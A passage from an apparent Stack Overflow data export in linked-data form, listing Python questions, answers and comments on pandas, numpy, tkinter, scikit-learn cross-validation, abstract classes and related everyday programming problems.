17 1.77 18 1.87 19 1.98 20 2.08 21 2.19 Name: Z, dtype: float64 What am I missing? The complete traceback is below, if it helps: TypeError Traceback (most recent call last) &lt;ipython-input-18-b6d427f5dae7&gt; in &lt;module&gt;() 9 z0 = c 10 print z0, zi, type(z0), type(zi) ---&gt; 11 x = df.loc[((z0&lt;=df['Z'])&amp; (df['Z']&lt;=zi)), 'Z'] 12 y = df.loc[((z0&lt;=df['Z'])&amp; (df['Z']&lt;=zi)), 'smooth'] …
has comment: http://stackoverflow.com/comment/81460607
has comment: http://stackoverflow.com/comment/81460686
has comment: http://stackoverflow.com/comment/81460259
answer count: 1
downvote count: 3
accepted answer: http://stackoverflow.com/a/47255094
has comment: http://stackoverflow.com/comment/81460668
has comment: http://stackoverflow.com/comment/81460556
has answer: http://stackoverflow.com/a/47255094
favorite count: 0
has comment: http://stackoverflow.com/comment/81460362
linked to: http://stackoverflow.com/q/27098529
type: Question
tagged with: numpy
upvote count: 0
has comment: http://stackoverflow.com/comment/81460295
score: -3
has title: TypeError: len() of unsized object when slicing a dataframe - different float formats?
has comment: http://stackoverflow.com/comment/81460665
tagged with: python

http://stackoverflow.com/q/47352815
has comment: http://stackoverflow.com/comment/81657979
upvote count: 0
score: -3
has answer: http://stackoverflow.com/a/47352942
tagged with: python
has comment: http://stackoverflow.com/comment/81658969
type: AnsweredQuestion
tagged with: list
downvote count: 3
accepted answer: http://stackoverflow.com/a/47352932
has answer: http://stackoverflow.com/a/47352932
has comment: http://stackoverflow.com/comment/81658309
has title: Getting the output in a List format in Python
favorite count: 0
type: Question
has body: I have a following Python code: (from the Introduction to Machine Learning with Python book and 'http://scikit-learn.org/stable/modules/generated/sklearn.model_selection.StratifiedKFold.html#sklearn.model_selection.StratifiedKFold.split') from sklearn.datasets import load_iris iris = load_iris() from sklearn.linear_model import LogisticRegression logreg = LogisticRegression() from sklearn.model_selection import StratifiedKFold for n_splits in [2, 3, 5]: skf = StratifiedKFold(n_splits=n_splits, shuffle=False, random_state=0) X, y = iris.data, iris.target for train_index, test_index in skf.split(X, y): X_train, X_test = X[train_index], X[test_index] y_train, y_test = y[train_index], y[test_index] logreg_fit = LogisticRegression().fit(X_train, y_train) logreg_scores = logreg_fit.score(X_test, y_test) print('{}-fold STRATIFIED Cross-validation scores: {:.3f}'.format( n_splits, logreg_scores)) The output of this is: 2-fold STRATIFIED Cross-validation scores: 0.947 2-fold STRATIFIED Cross-validation scores: 0.947 3-fold STRATIFIED Cross-validation scores: 0.961 3-fold STRATIFIED Cross-validation scores: 0.922 3-fold STRATIFIED Cross-validation scores: 0.958 5-fold STRATIFIED Cross-validation scores: 1.000 5-fold STRATIFIED Cross-validation scores: 0.967 5-fold STRATIFIED Cross-validation scores: 0.933 5-fold STRATIFIED Cross-validation scores: 0.900 5-fold STRATIFIED Cross-validation scores: 1.000 I would like to get output in the list form for each fold, i.e. like this: 2-fold STRATIFIED Cross-validation scores: [ 0.947 0.947] 3-fold STRATIFIED Cross-validation scores: [ 0.961 0.922 0.958] 5-fold STRATIFIED Cross-validation scores: [ 1.000 0.967 0.933 0.900 1.000] I would really appreciate if someone can help me with this. Thanks a lot.
answer count: 2
possible better answer: http://stackoverflow.com/a/47352942

http://stackoverflow.com/comment/81701218
has text: This isn't the exact code I was given, I'm just trying to run this one scene independently so I can understand why it works at all, I'm at a spot where I'm supposed to figure it out by myself, and I've already cheated by looking enough so I want to be able to understand it better before I move on to all of it.
comment on: http://stackoverflow.com/q/47374100
type: Comment
score: 0
type: QuestionComment

http://stackoverflow.com/q/47315764
tagged with: tkinter
has answer: http://stackoverflow.com/a/47315916
answer count: 1
has body: I'm using python tkinter to run tcl in python And there are two ways to run a tcl command: import tkinter root = tkinter.Tk() root.eval("winfo exists .l0") root.tk.call("winfo exists .l0") They have the same meaning But what's different? And if I haven't define a widget names .l0 and can I directly use child = ".l0" child.winfo_exists() ? Because python told me "str has no attribute winfo_exists"
has title: python tkinter package tk.call eval
type: AnsweredQuestion
score: 0
tagged with: tcl
tagged with: python
type: Question
accepted answer: http://stackoverflow.com/a/47315916

http://stackoverflow.com/q/47288060
has title: Why does my code not run past a certain line?
has comment: http://stackoverflow.com/comment/81526322
has comment: http://stackoverflow.com/comment/81526831
has comment: http://stackoverflow.com/comment/81526956
score: 0
has comment: http://stackoverflow.com/comment/81526320
has comment: http://stackoverflow.com/comment/81526483
answer count: 0
upvote count: 1
has comment: http://stackoverflow.com/comment/81526677
has comment: http://stackoverflow.com/comment/81526421
has comment: http://stackoverflow.com/comment/81526436
has body: Everytime I run my code only the 2nd boolean is run even though it should test for all options then run that one. When I run this code: import random Player_Score = 0 Computer_Score = 0 while Player_Score &lt; 5 or Computer_Score &lt; 5: Player_object = input("Would you like to choose R, P, or S?") Computer_object = random.sample(set(["R", "P", "S"]), 1) if Player_object == "R" or "r": if Computer_object == "R": print("You have chosen " +Player_object+ " and the Computer chose " +str(Computer_object)+ ".You have tied with the Computer and neither of you have scored a point.") elif Computer_object == "P": Computer_Score = Computer_Score + 1 print("You have chosen " +Player_object+ " and the Computer chose " +str(Computer_object)+ ". You have been beaten by the Computer and it has scored a point.") else: Player_Score == Player_Score + 1 print("You have chosen " +Player_object+ " and the Computer chose " +str(Computer_object)+ ".You have beaten the Computer scored a point.") I end up with results like: You have chosen R and the Computer chose ['S'].You have beaten the Computer scored a point. Would you like to choose R, P, or S?R You have chosen R and the Computer chose ['P'].You have beaten the Computer scored a point. Would you like to choose R, P, or S?R You have chosen R and the Computer chose ['S'].You have beaten the Computer scored a point. Would you like to choose R, P, or S?R You have chosen R and the Computer chose ['R'].You have beaten the Computer scored a point. Would you like to choose R, P, or S?R You have chosen R and the Computer chose ['P'].You have beaten the Computer scored a point. So is there a way to fix this, because at this point I don't know what to do to fix this.
has comment: http://stackoverflow.com/comment/81527260
downvote count: 1
linked to: http://stackoverflow.com/q/15112125
has comment: http://stackoverflow.com/comment/81526390
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/81526478
duplicate of: http://stackoverflow.com/q/15112125
has comment: http://stackoverflow.com/comment/81526352
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/81526342
has comment: http://stackoverflow.com/comment/81526369
tagged with: python

http://stackoverflow.com/comment/123948576
type: Comment
comment on: http://stackoverflow.com/a/66891274
score: 2
type: AnswerComment
has text: Why do we have to set the field as optional to allow the printing of 0 valued enums? Whether or not the `setget` field is optional, it doesn't change that the `SetGet` enum has a valid value for #0

http://stackoverflow.com/q/47253243
tagged with: python
upvote count: 4
downvote count: 1
has comment: http://stackoverflow.com/comment/81459252
has comment: http://stackoverflow.com/comment/81468723
type: AnsweredQuestion
score: 3
has comment: http://stackoverflow.com/comment/81468969
has comment: http://stackoverflow.com/comment/81468793
has title: Get coordinates of squares in numpy matrix
tagged with: matrix
has comment: http://stackoverflow.com/comment/81469153
has answer: http://stackoverflow.com/a/47303773
possible better answer: http://stackoverflow.com/a/47303773
favorite count: 0
has answer: http://stackoverflow.com/a/47260025
accepted answer: http://stackoverflow.com/a/47260025
type: Question
tagged with: numpy
answer count: 2
has comment: http://stackoverflow.com/comment/81469036
has comment: http://stackoverflow.com/comment/81564652
has body: Given the following numpy matrix import numpy as np np_matrix = np.array([[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0] ,[0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0] ,[0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0] ,[0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0] ,[0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0] ,[0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,2,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0] ,[0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0] ,[0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0] ,[0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0] ,[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0] ,[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,0,0,0] ,[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,2,0,0,1,0,0,0] ,[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0] ,[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0] ,[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0] ,[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0] ,[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0] ,[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,0,0,0] ,[0,0,0,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0] ,[0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1] ,[0,0,0,1,0,0,0,2,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0] ,[0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0] ,[0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0] ,[0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0] ,[0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0] ,[0,0,0,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,…

http://stackoverflow.com/a/47286924
score: -1
upvote count: 0
answers question: http://stackoverflow.com/q/47284260
has body: You are trying to print the content of your entry widget but you are using the variable for your entry to receive the content which is wrong. Also call print the content in your entry widget to the your terminal . from tkinter import * def onclick2(): val = boss.get() print(val) root = Tk() boss = StringVar() # to receive the content in the entry box = Entry(root , textvariable=boss) box.pack() buttonfortxtbox = Button(root, text="Check Result", font=('Cooper Black', 9), bd=10, width=20,command=onclick2) buttonfortxtbox.pack(anchor = S) #print(onclick2()) # don't need to call this root.mainloop()
downvote count: 1
has comment: http://stackoverflow.com/comment/81527471
type: Answer

http://stackoverflow.com/comment/81560125
score: 0
has text: Hint: in animation functions error do not show up, but you can insert e.g. some print commands within the function. Maybe there are better ways to debug such codes, but for me this worked most times...
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/47304294

http://stackoverflow.com/comment/81598407
score: 1
has text: 1. Please fix the indentation. 2. What is `product`?
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/47323854

http://stackoverflow.com/q/47335950
linked to: http://stackoverflow.com/q/25649909
type: UnansweredQuestion
tagged with: python
tagged with: inheritance
score: 4
upvote count: 4
has title: Multilevel abstraction with interface and inheritance in Python
answer count: 1
downvote count: 0
has comment: http://stackoverflow.com/comment/81629111
favorite count: 0
type: Question
has body: I'm not exactly sure how to phrase this question, hence the strange title. I also have not been able to find any information on this after searching, so hopefully this isn't a duplicate and I'm just searching for the wrong words. Anyhow, here is the situation, I have an abstract base class with some methods in it, which is inherited by a class. I don't want to set one of the methods in this base class, as this class is meant to be inherited by other classes to provide the common functionality they all share. Something like: class A(metaclass=abc.ABCMeta): @abc.abstractmethod def fun1(self): pass @abc.abstractmethod def fun2(self): pass class B(A): def fun1(self): #do work here @abc.abstractmethod def fun2(self): # Intent to have the final classes define this pass class C(B): def fun2(self): # do work here class D(B): def fun2(self): # do work here I would like to keep the function as an ABC.meta to force implementation on the final children, but because there can be multiple types of class B in this case all inheriting from the interface, I want to keep the initial virtulization of the method at this root class, but have a way for class B to enforce that it's sub-classes must implement this. The code works just find if I don't add the abstract method to class B, but that is awkward since subclassess must implement the method and shouldn't have to look all the way up to the interface to figure out everything they need to implement. As written, it will error out because class B cannot declare the method as an abc.abstract. If I don't declare it as an abstract there is no way to enforce the child class has to implement the method. I hope my convoluted way of writing this makes sense to someone out there... Thanks!
has answer: http://stackoverflow.com/a/47336119

http://stackoverflow.com/comment/81697616
comment on: http://stackoverflow.com/a/47371707
score: 0
type: AnswerComment
type: Comment
has text: Seems very good, but you can in the code select for the two values two different operators. Like: wert1 > 10 and wert2 == 2. all the possibilities from this operators. It this possible?

http://stackoverflow.com/comment/81696816
has text: @DSM Well then `np.einsum('ij,ki->jk', x, x.T)` won't give a `(3,3)` output. Something is not clear there.
score: 0
comment on: http://stackoverflow.com/q/47372003
type: Comment
type: QuestionComment

http://stackoverflow.com/q/47311322
upvote count: 1
has answer: http://stackoverflow.com/a/47311391
type: AnsweredQuestion
has title: Sum up values in a cell separated by comma in a dataframe column using python
tagged with: pandas
accepted answer: http://stackoverflow.com/a/47311391
score: 1
tagged with: python
linked to: http://stackoverflow.com/q/24101524
favorite count: 0
has body: I have a dataframe column with numerical values separated by commas(,). I am trying to find the sum of the values in each cell of that column and create a new column. Input: df: id Scores 1 10,12 2 11 3 1,2,3 Output required: id Scores Sum 1 10,12 22 2 11 11 3 1,2,3 6 Code: I have tried writing a custom function, so that I can make use of apply function in python def sum_of_number(listx): a=[] n=0 if len(listx)==1: a=listx n=a else: a=str(listx).split(',') for i in range(0,len(a)): n=n+int(a[i]) return n df['Sum']=df.Scores.apply(sum_of_number) But I am not able to get the intended result. Edit: Thanks to DeepSpace for providing the solution df['Sum'] = df['Scores'].apply(lambda x: sum(map(float, x.split(',')))) Can the same be applied to get median id Scores Median 1 10,12 11 2 11 11 3 1,2,3 2
type: Question
answer count: 1
downvote count: 0

http://stackoverflow.com/comment/81403705
score: 0
has text: @MohammadAthar I just posted my complete code
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/47226573

http://stackoverflow.com/a/47233142
answers question: http://stackoverflow.com/q/47233101
score: 2
has body: The only feasible (easy) way I can see of doing this is by passing an argument / parameter to the function you're calling. def function (foo, bar, called_from): print (called_from) *** do stuff with foo and bar ***
upvote count: 2
type: AcceptedAnswer
downvote count: 0
accepted answer of: http://stackoverflow.com/q/47233101
type: Answer

http://stackoverflow.com/comment/81433977
comment on: http://stackoverflow.com/q/47241743
score: 0
type: QuestionComment
type: Comment
has text: you're making it look like if `data` was a `json` string whereas it's probably a dictionary.

permissions
tag name: permissions
type: Tag
tags question: http://stackoverflow.com/q/47299072

http://stackoverflow.com/comment/81571284
score: 1
type: Comment
comment on: http://stackoverflow.com/a/47310307
type: AnswerComment
has text: You can put that before session init. It only reads the graph variables and does not need a tf session

http://stackoverflow.com/q/47322435
possible better answer: http://stackoverflow.com/a/47322750
downvote count: 0
accepted answer: http://stackoverflow.com/a/47322613
has answer: http://stackoverflow.com/a/47322613
favorite count: 0
type: Question
has title: how to convert double quoted vectors in df to numpy array?
has answer: http://stackoverflow.com/a/47322750
tagged with: python
score: 2
tagged with: numpy
type: AnsweredQuestion
has body: I have the following csv file. index, vector, label 0, "[0,5,7]", class1 0, "[3,8,10]", class2 0, "[3,8,15]", class2 0, "[3,2,1]", class1 I would like to parse and get the vector column such as: [[0,5,7],[3,8,10],[3,8,15],[3,2,1]] However, whatever I tried, I get an object like: ['[0,5,7]','[3,8,10]','[3,8,15]','[3,2,1]'] It parses the vector as a string instead of array. I tried to cast it list/np.array but none of them worked. I also tried to apply the following in order to escape quotes: replace.replace("'",'') replace.replace('"','') They did not have any effect at all. Therefore, I am open your suggestions to try more.
answer count: 2
tagged with: pandas
upvote count: 2

http://stackoverflow.com/comment/81488047
type: Comment
has text: @Jean-FrançoisFabre Now that I know I can do that, I will definitely use it
score: 0
comment on: http://stackoverflow.com/q/47268595
type: QuestionComment

http://stackoverflow.com/comment/81540305
comment on: http://stackoverflow.com/a/47294385
type: Comment
has text: Interesting, the list is not pre-sorted, if the list is sorted then you can probably do it in `O(n)`. Otherwise you will be using `O(L-R)` space which might not be optimal.
score: 0
type: AnswerComment

http://stackoverflow.com/q/47372949
favorite count: 0
type: Question
tagged with: python-3.x
score: 3
type: UnansweredQuestion
has title: Single-module non-blocking Keypress Detection in Python
tagged with: python
has comment: http://stackoverflow.com/comment/81705480
answer count: 0
has comment: http://stackoverflow.com/comment/81698818
upvote count: 3
has body: TL;DR, I'm trying to make a python-only single-module platform-nonspecific non-blocking keypress detector that works in IDLE. Good luck. So say I'm running a loop, in IDLE, for an arbitrary amount of time. I want a way to get user input without blocking the loop, on any system I want. Example: import keyboard #(is one module in same directory)(Mac, Windows, Linux, who knows?) teststring = '' while True: if keyboard.isDown('a'): teststring += 'a' if keyboard.isDown('enter'): if 'a' in testring: break ... (neural network or whatever continues) To put it a different way, I'm trying to make a universal event listener that works in IDLE. If one already exists, do let me know, but I have done some research and none work in one easy-to-use module. Note: You don't have to write this, I just want to know what pre-installed Python modules you would use to do this and a general idea of how to go about it.
downvote count: 0

http://stackoverflow.com/q/47290700
accepted answer: http://stackoverflow.com/a/47313669
downvote count: 0
tagged with: python
has answer: http://stackoverflow.com/a/47313669
score: 4
type: AnsweredQuestion
answer count: 1
favorite count: 0
type: Question
upvote count: 4
has body: I'm trying to dynamically add a new row to a Pandas data frame. The index is a timestamp and I cannot figure out how to insert a new row without messing up the index. First part of the code creates the data frame: data = {'time_stamp': ['2014-05-01 18:47:05.069', '2014-05-01 18:47:05.119', '2014-05-02 18:47:05.230',], 'col_a': [34, 25, 26], 'col_b' : [21,32,43]} df = pd.DataFrame(data, columns = ['time_stamp', 'col_a', 'col_b']) df['time_stamp'] = pd.to_datetime(df['time_stamp'], format="%Y-%m-%d %H:%M:%S.%f") df.index = df['time_stamp'] # Make time_stamp the index del df['time_stamp'] # Drop the initial time_stamp column print df Result: col_a col_b time_stamp 2014-05-01 18:47:05.069 34 21 2014-05-01 18:47:05.119 25 32 2014-05-02 18:47:05.230 26 43 Trying to add a row with concat (same problem with append): #Insert new row (corresponding to an incoming update message with a time stamp an a new value on col_a ts = pd.to_datetime("2014-05-04 18:47:05.487", format="%Y-%m-%d %H:%M:%S.%f") new_row = pd.DataFrame([[11]], columns = ["col_a"]) df = pd.concat([df, pd.DataFrame(new_row)], ignore_index=False) print df Result: col_a col_b 2014-05-01 18:47:05.069000 34 21.0 2014-05-01 18:47:05.119000 25 32.0 2014-05-02 18:47:05.230000 26 43.0 0 11 NaN If I extend "new_row" with a column called "time_frame" and a corresponding time stamp, it will create a new column called "time_stamp", rather than inserting a new value in the index column. col_a col_b time_stamp 2014-05-01 18:47:05.069000 34 21.0 NaT 2014-05-01 18:47:05.119000 25 32.0 NaT 2014-05-02 18:47:05.230000 26 43.0 NaT 0 11 NaN 2014-05-04 18:47:05.487 Any ideas would be greatly appreciated.
has title: Adding row to dataframe with time stamp index

http://stackoverflow.com/comment/81564269
type: Comment
type: QuestionComment
score: 1
comment on: http://stackoverflow.com/q/47305744
has text: You should update the question using the allclose function if it's still relevant that part. It appears to me that with pyfftw you observe an artifact, most likely a problem in the wrapping. Test what happens with something simpler like a sine or cosine.

http://stackoverflow.com/comment/81438243
score: 0
has text: @sera I guess I could do this with a loop over ever single dataframe row, but with a very large dataframe wouldn't this be slow? I was just wondering if there was an inbuilt way to do this in `pandas` if that makes sense. And yes, I can add more data examples
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/47243861

http://stackoverflow.com/comment/81699128
score: 0
type: AnswerComment
has text: You may be better off just dropping a column then. See the edit.
type: Comment
comment on: http://stackoverflow.com/a/47373234

http://stackoverflow.com/comment/81618242
comment on: http://stackoverflow.com/q/47333267
score: 1
has text: What exactly does your COAL.zip contain? Your problem is now that you are treating a zipped archive as json data, which is not right. You need to extract the actual file containing json data from the archive. Do you know the name of the file inside your archive, for example? Does the archive contain many files?
type: QuestionComment
type: Comment

pivot-table
tag name: pivot-table
tags question: http://stackoverflow.com/q/47258417
tags question: http://stackoverflow.com/q/47320563
type: Tag

http://stackoverflow.com/q/47267825
has title: Basemap ValueError: projection cannot cross pole
tagged with: matplotlib-basemap
has comment: http://stackoverflow.com/comment/81487358
type: Question
type: UnansweredQuestion
tagged with: python
score: 0
has body: I'm getting this error with the code below: ValueError: mill projection cannot cross pole lower_bound = 38.576311 upper_bound = 41.031715 left_bound = -78.929565 right_bound = -75.039918 m = Basemap(projection = 'mill', llcrnrlat = lower_bound, urcrnrlat = upper_bound, llcrnrlon = left_bound, urcrnrlon = right_bound, resolution = 'i') I opened a new file in my IDE and copied and pasted the code from the documentation. I ran it and it gave me the same error. I've also tried projection = 'merc' and the error still pops up. What causes this error to pop up how can I fix it? I have never come across this error while using basemap until now.
has comment: http://stackoverflow.com/comment/81486938
answer count: 0
has comment: http://stackoverflow.com/comment/81487426
has comment: http://stackoverflow.com/comment/82269154
tagged with: matplotlib

http://stackoverflow.com/a/47270900
score: 0
has body: You can't commented out the 'django.middleware.csrf.CsrfViewMiddleware' in your settings.py, The CSRF middleware provides easy-to-use protection against Cross Site Request Forgeries. Since you are using Augualr js instead of django forms and views, you can set the csrftoken cookie in your browser cookies. Check this for detail: https://docs.djangoproject.com/en/1.11/ref/csrf/#module-django.middleware.csrf
has comment: http://stackoverflow.com/comment/81495270
answers question: http://stackoverflow.com/q/47270377
type: Answer

http://stackoverflow.com/comment/81654446
type: Comment
has text: a file with 30000 words in each line. Like: crosscutting crossdesignated crossdressing crossed crossfertilized crossing crossred
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/47341762

http://stackoverflow.com/a/47291430
type: Answer
downvote count: 0
upvote count: 1
answers question: http://stackoverflow.com/q/47281624
has body: Better to use the right tool for the job instead of low-level sockets. requests is a popular 3rd party library for making HTTP requests. &gt;&gt;&gt; import requests &gt;&gt;&gt; r = requests.get('http://www.google.nl') &gt;&gt;&gt; r.headers {'Date': 'Tue, 14 Nov 2017 17:13:33 GMT', 'Expires': '-1', 'Cache-Control': 'private, max-age=0', 'Content-Type': 'text/html; char set=ISO-8859-1', 'P3P': 'CP="This is not a P3P policy! See g.co/p3phelp for more info."', 'Server': 'gws', 'Content-Length': '5129 ', 'X-XSS-Protection': '1; mode=block', 'X-Frame-Options': 'SAMEORIGIN', 'Via': '1.1 jfdmzpr06', 'Connection': 'Keep-Alive', 'Cont ent-Encoding': 'gzip', 'Set-Cookie': '1P_JAR=2017-11-14-17; expires=Thu, 14-Dec-2017 17:13:33 GMT; path=/; domain=.google.nl, NID= 117=Sa3F7Bq4oXkQdcBu5OXCM3AdfyGZbxABbYqFMenMm-Ru4nITdC8tQujRxLJPl3aUG8ksQM-uDF56jlDrk0Hm9KMVkbOcb51K0oyys0PFU3ZEaSS5TnzBGk_dOYmK4X vS; expires=Wed, 16-May-2018 17:13:33 GMT; path=/; domain=.google.nl; HttpOnly'} &gt;&gt;&gt; r.status_code 200 &gt;&gt;&gt; r.text[:1000] '&lt;!doctype html&gt;&lt;html itemscope="" itemtype="http://schema.org/WebPage" lang="en"&gt;&lt;head&gt;&lt;meta content="Search the world\'s informa tion, including webpages, images, videos and more. Google has many special features to help you find exactly what you\'re looking for." name="description"&gt;&lt;meta content="noodp" name="robots"&gt;&lt;meta content="text/html; charset=UTF-8" http-equiv="Content-Type"&gt;&lt;m eta content="/logos/doodles/2017/131st-anniversary-of-the-hole-puncher-5763551741345792.3-law.gif" itemprop="image"&gt;&lt;meta content= "131st Anniversary of the Hole Puncher" property="twitter:title"&gt;&lt;meta content="131st Anniversary of the Hole Puncher #GoogleDoodl e" property="twitter:description"&gt;&lt;meta content="131st Anniversary of the Hole Puncher #GoogleDoodle" property="og:description"&gt;&lt;m eta content="summary_large_image" property="twitter:card"&gt;&lt;meta content="@GoogleDoodles" property="twitter:si…
score: 1

http://stackoverflow.com/q/47266152
upvote count: 1
tagged with: xgboost
has body: I wanted to install xgboost in Python 3.5. This requires gcc to support -fopenmp option. Default gcc does not support it. So I tried via brew but it did not work with latest gcc version gcc via homebrew has no --without-multiliboption So I installed gcc@5 which worked and I could install xgboost. Then I wanted to install lightgbm which I did via pip install. But when I loaded it I got the following error: OSError: dlopen(//anaconda/envs/python3p5/lib/python3.5/site-packages/lightgbm/lib_lightgbm.so, 6): Library not loaded: /usr/local/opt/gcc/lib/gcc/7/libgomp.1.dylib Referenced from: //anaconda/envs/python3p5/lib/python3.5/site-packages/lightgbm/lib_lightgbm.so Reason: image not found It is some how looking for gcc7 which is not there. How can I fix the gcc version for an anaconda environment?
favorite count: 0
type: Question
linked to: http://stackoverflow.com/q/47263504
tagged with: gcc
tagged with: lightgbm
tagged with: anaconda
score: 1
tagged with: python
has title: Fixing gcc version used for python/anaconda packages
answer count: 0
type: UnansweredQuestion
downvote count: 0

http://stackoverflow.com/comment/81581816
type: QuestionComment
type: Comment
score: 0
has text: I'm not sure really. What I believe is happening here is that for each element (or pixel) the resulting convolved gaussian which spreads across neighbouring elements is then normalised. Because of this, the higher valued elements are affected differently to the lower valued pixels. But what I need is for the elements to retain their original value but then spread blur out in a gaussian fashion into other elements. Dividing by the slice after convolution would just set each element to one wouldn't it?
comment on: http://stackoverflow.com/q/47289559

http://stackoverflow.com/a/68458018
score: 8
answers question: http://stackoverflow.com/q/47356453
upvote count: 8
downvote count: 0
has body: The described problem sounds like the scheduler library for python provides a solution out of the box that requires no further customization by the user. The scheduler library is designed so that jobs can be scheduled in different timezones, it is irrelevant with which timezone the scheduler is created and in which independent timezones the jobs are scheduled. Disclosure: I'm one of the authors of the scheduler library For demonstration, I have adapted an example from the documentation to the question: import datetime as dt from scheduler import Scheduler import scheduler.trigger as trigger # Create a payload callback function def useful(): print("Very useful function.") # Instead of setting the timezones yourself you can use the `pytz` library tz_new_york = dt.timezone(dt.timedelta(hours=-5)) tz_wuppertal = dt.timezone(dt.timedelta(hours=2)) tz_sydney = dt.timezone(dt.timedelta(hours=10)) # can be any valid timezone schedule = Scheduler(tzinfo=dt.timezone.utc) # schedule jobs schedule.daily(dt.time(hour=12, tzinfo=tz_new_york), useful) schedule.daily(dt.time(hour=12, tzinfo=tz_wuppertal), useful) schedule.daily(dt.time(hour=12, tzinfo=tz_sydney), useful) # Show a table overview of your jobs print(schedule) max_exec=inf, tzinfo=UTC, priority_function=linear_priority_function, #jobs=3 type function due at tzinfo due in attempts weight -------- ---------------- ------------------- ------------ --------- ------------- ------ DAILY useful() 2021-07-20 12:00:00 UTC-05:00 1:23:39 0/inf 1 DAILY useful() 2021-07-21 12:00:00 UTC+10:00 10:23:39 0/inf 1 DAILY useful() 2021-07-21 12:00:00 UTC+02:00 18:23:39 0/inf 1 Execute jobs using a simple loop: import time while True: schedule.exec_jobs() time.sleep(1) # wait a second Edit: An asyncio example is available in the doc too.
type: Answer

http://stackoverflow.com/a/47228984
type: Answer
upvote count: 3
answers question: http://stackoverflow.com/q/47228290
type: AcceptedAnswer
downvote count: 0
has body: The problem is that ParentClass refers to the wrong thing. After you do import ParentClass, ParentClass is a module, not a class: import ParentClass print(ParentClass) # output: &lt;module 'ParentClass' from 'C:\foo\ParentClass.py'&gt; You can either import the ParentClass class directly into your namespace: from ParentClass import ParentClass # now it's as expected: print(ParentClass) # output: &lt;class ParentClass.ParentClass&gt; Or leave the import as is, and access the class through the imported module: import ParentClass class ChildClass(ParentClass.ParentClass): ...
accepted answer of: http://stackoverflow.com/q/47228290
score: 3

http://stackoverflow.com/comment/81761615
type: AnswerComment
comment on: http://stackoverflow.com/a/47373027
has text: Thank you for showing me the link_set.add piece. I knew that the set() function would take out duplicate links, but thought what I had done was enough. Looking at it with your piece, I see what you're saying where I didn't add anything to link_set. That was a forehead slap on me. I appreciate your feedback.
score: 1
type: Comment

http://stackoverflow.com/comment/81646571
comment on: http://stackoverflow.com/q/47346882
has text: Yesterday I tried to do it and it wasn't help me but now you make my life better. You resolve my problem. Thank you very much
score: 1
type: Comment
type: QuestionComment

http://stackoverflow.com/a/47252302
answers question: http://stackoverflow.com/q/47251747
type: Answer
score: 0
has body: to get the tags of each sentence you sould use the Tree.pos() and filter that list by second element, 'NE' means named entity. def process_content(): names = [] try: for i in tokenized[5:]: words = nltk.word_tokenize(i) tagged = nltk.pos_tag(words) namedEnt = nltk.ne_chunk(tagged,binary=True) tags = namedEnt.pos() names.append([x[0][0] for x in tags if x[1] == 'NE']) except Exception as e: print(str(e)) return names

http://stackoverflow.com/q/47251120
